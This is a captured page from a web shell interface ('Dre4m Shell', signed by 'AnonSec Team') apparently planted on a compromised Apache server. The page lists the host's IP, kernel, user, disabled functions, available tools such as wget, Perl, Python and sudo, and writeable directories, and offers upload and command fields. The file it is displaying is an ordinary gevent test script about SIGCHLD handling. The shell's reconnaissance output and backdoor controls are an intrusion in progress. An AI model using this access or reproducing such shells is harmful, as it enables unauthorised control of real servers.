Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 18.218.50.170
Web Server : Apache/2.4.62 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /srv/modoboa/env/lib/python3.5/site-packages/gevent/tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /srv/modoboa/env/lib/python3.5/site-packages/gevent/tests//test__monkey_sigchld_2.py
# Mimics what gunicorn workers do: monkey patch in the child process
# and try to reset signal handlers to SIG_DFL.
# NOTE: This breaks again when gevent.subprocess is used, or any child
# watcher.
import os
import sys

import signal


def handle(*_args):
    if not pid:
        # We only do this is the child so our
        # parent's waitpid can get the status.
        # This is the opposite of gunicorn.
        os.waitpid(-1, os.WNOHANG)
# The signal watcher must be installed *before* monkey patching
if hasattr(signal, 'SIGCHLD'):
    # On Python 2, the signal handler breaks the platform
    # module, because it uses os.popen. pkg_resources uses the platform
    # module.
    # Cache that info.
    import platform
    platform.uname()
    signal.signal(signal.SIGCHLD, handle)

    pid = os.fork()

    if pid: # parent
        try:
            _, stat = os.waitpid(pid, 0)
        except OSError:
            # Interrupted system call
            _, stat = os.waitpid(pid, 0)
        assert stat == 0, stat
    else:
        # Under Python 2, os.popen() directly uses the popen call, and
        # popen's file uses the pclose() system call to
        # wait for the child. If it's already waited on,
        # it raises the same exception.
        # Python 3 uses the subprocess module directly which doesn't
        # have this problem.
        import gevent.monkey
        gevent.monkey.patch_all()
        signal.signal(signal.SIGCHLD, signal.SIG_DFL)
        f = os.popen('true')
        f.close()

        sys.exit(0)
else:
    print("No SIGCHLD, not testing")

Anon7 - 2022
AnonSec Team